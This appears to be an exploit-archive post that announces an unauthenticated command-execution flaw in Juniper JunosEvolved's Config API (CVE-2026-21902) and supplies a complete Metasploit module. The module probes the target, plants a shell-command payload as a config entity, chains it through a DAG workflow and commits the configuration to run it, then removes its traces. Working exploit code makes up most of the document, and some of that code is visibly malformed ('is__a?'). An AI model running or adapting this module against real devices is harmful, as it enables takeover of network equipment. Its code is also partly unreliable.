============================================================================================================================================= | # Title : JunosEvolved via Config API Unauthenticated Remote Command Execution in Juniper | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) | | # Vendor : https://www.juniper.net/fr/fr/products/network-operating-system/junos-evolved.html | ============================================================================================================================================= [+] Summary : A critical unauthenticated remote command execution (RCE) vulnerability exists in the Config API of Juniper JunosEvolved. The flaw allows remote attackers to inject arbitrary system commands without authentication by abusing the /config/command endpoint and the configuration commit workflow. The vulnerability can be exploited by: Creating a malicious command entity via the REST API Linking the command to a DAG workflow Instantiating the workflow Triggering a configuration commit Upon commit, the injected command is executed on the underlying system, resulting in full remote command execution with elevated privileges. This issue affects Junos OS Evolved on PTX Series devices, specifically: 25.4 versions before 25.4R1-S1-EVO 25.4R2-EVO Systems running these affected versions are vulnerable if the management interface is exposed. The issue requires no authentication and can be exploited over HTTPS (default port 8160). Successful exploitation may lead to complete device compromise, configuration manipulation, service disruption, or persistent backdoor deployment. The provided module in the Metasploit Framework demonstrates reliable exploitation while implementing: Non-destructive vulnerability probing Dynamic execution timing synchronization Strict post-exploitation cleanup of configuration artifacts Due to the nature of the vulnerability (configuration-level command execution), impact severity is critical for exposed management interfaces. [+] POC : ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Juniper JunosEvolved Unauthenticated RCE (CVE-2026-21902)', 'Description' => %q{ This module exploits an unauthenticated command injection vulnerability in the Juniper JunosEvolved API. The exploit workflow involves creating a custom command entity, mapping it to a Directed Acyclic Graph (DAG), and triggering an execution instance. The module uses a non-destructive POST probe to verify write access and handles configuration commits with dynamic synchronization delays. }, 'Author' => ['indoushka'], 'License' => MSF_LICENSE, 'References' => [['CVE', '2026-21902']], 'Platform' => ['unix', 'linux'], 'Arch' => ARCH_CMD, 'Payload' => { 'Space' => 4096, 'BadChars' => "\x00", 'DisableNops' => true, 'Compat' => { 'PayloadType' => 'cmd' } }, 'Targets' => [['JunosEvolved Generic', {}]], 'DefaultTarget' => 0, 'DisclosureDate' => '2026-01-15', 'DefaultOptions' => { 'SSL' => true }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [CONFIG_MODIFICATIONS] } ) ) register_options([ Opt::RPORT(8160), OptString.new('TARGET_PLATFORM', [true, 'Target model (e.g., PTX10001-36MR)', 'PTX10001-36MR']), OptInt.new('WTIMEOUT', [true, 'HTTP commit response timeout (Min 5)', 30]) ]) end def check res = send_request_cgi({ 'method' => 'GET', 'uri' => '/config/command' }) return Exploit::CheckCode::Unknown unless res return Exploit::CheckCode::Safe unless res.code == 200 json = res.get_json_document rescue nil return Exploit::CheckCode::Safe if json.nil? detected = false if json.is_a?(Array) detected = json.any? { |e| e.is_a?(Hash) && e.key?('syntax') } elsif json.is_a?(Hash) detected = json.key?('syntax') && json.key?('type') end return Exploit::CheckCode::Safe unless detected probe_name = "msf_probe_#{Rex::Text.rand_text_alpha(6)}" test_probe = send_request_json('POST', "/config/command/#{probe_name}", { 'syntax' => '', 'type' => 'INVALID' }) if test_probe && test_probe.code == 400 return Exploit::CheckCode::Appears end Exploit::CheckCode::Detected rescue ::Rex::ConnectionError Exploit::CheckCode::Unknown end def exploit wtimeout = datastore['WTIMEOUT'] fail_with(Failure::BadConfig, 'WTIMEOUT must be >= 5') if wtimeout < 5 @entities = { cmd: "config_cmd_#{Rex::Text.rand_text_alpha(12).downcase}", dag: "dag_workflow_#{Rex::Text.rand_text_alpha(12).downcase}", inst: "inst_exec_#{Rex::Text.rand_text_alpha(12).downcase}" } action_name = "action_#{Rex::Text.rand_text_alpha(8).downcase}" print_status("Creating command entity [#{@entities[:cmd]}]") res = send_request_json('POST', "/config/command/#{@entities[:cmd]}", { 'syntax' => payload.encoded, 'type' => 'RE-SHELL', 'parsing' => {}, 'outputs' => { 'result' => { 'type' => 'str' } } }) fail_with(Failure::UnexpectedReply, 'Command creation failed') unless verify_success(res) print_status("Creating DAG entity [#{@entities[:dag]}]") res = send_request_json('POST', "/config/dag/#{@entities[:dag]}", { 'start' => [action_name], 'actions' => { action_name => { 'command' => @entities[:cmd], 'inputs' => {} } } }) fail_with(Failure::UnexpectedReply, 'DAG creation failed') unless verify_success(res) # Dynamic delay calculation with safe boundaries dynamic_delay = (wtimeout / 2.0).ceil dynamic_delay = 5 if dynamic_delay < 5 dynamic_delay = wtimeout if dynamic_delay > wtimeout print_status("Triggering instance [#{@entities[:inst]}] (Delay: #{dynamic_delay}s)") res = send_request_json('POST', "/config/dag-instance/#{@entities[:inst]}", { 'dag' => @entities[:dag], 'enabled' => true, 'platform' => datastore['TARGET_PLATFORM'], 'schedule' => { 'delay' => dynamic_delay } }) fail_with(Failure::UnexpectedReply, 'Instance creation failed') unless verify_success(res) print_status("Committing configuration (WTIMEOUT: #{wtimeout}s)...") res = send_request_cgi({ 'method' => 'POST', 'uri' => '/config/commit', 'timeout' => wtimeout }) if res.nil? || res.code == 200 print_good("Commit accepted. Waiting #{dynamic_delay}s for payload execution...") Rex.sleep(dynamic_delay) handler else fail_with(Failure::UnexpectedReply, "Commit failed with code #{res&.code}. Aborting.") end end def send_request_json(method, uri, data) send_request_cgi({ 'method' => method, 'uri' => uri, 'ctype' => 'application/json', 'data' => data.to_json }) end def verify_success(res) return false unless res && res.code.between?(200, 299) return true if res.code == 204 && res.body.to_s.empty? return true if res.code == 201 if res.body && !res.body.empty? json = res.get_json_document rescue nil if json.is__a?(Hash) status = json['status'].to_s.downcase return true if json['success'] == true return true if %w[ok success done completed created].include?(status) return false if json.key?('error') || json['success'] == false end return false if res.body =~ /error|failed|exception/i end false end def cleanup return unless defined?(@entities) && @entities.is_a?(Hash) print_status("Cleanup: Removing configuration artifacts...") [:inst, :dag, :cmd].each do |type| next unless @entities[type] uri_part = (type == :inst) ? 'dag-instance' : type.to_s res = send_request_cgi({ 'method' => 'DELETE', 'uri' => "/config/#{uri_part}/#{@entities[type]}" }) unless res && res.code.between?(200, 299) print_warning("Failed to delete #{type}: #{res&.code || 'No response'}") end end res = send_request_cgi({ 'method' => 'POST', 'uri' => '/config/commit', 'timeout' => 20 }) if res && res.code.between?(200, 299) print_good("Cleanup commit successful.") else print_warning("Cleanup commit failed. Manual artifact removal recommended.") end super end end Greetings to :============================================================================== jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)| ============================================================================================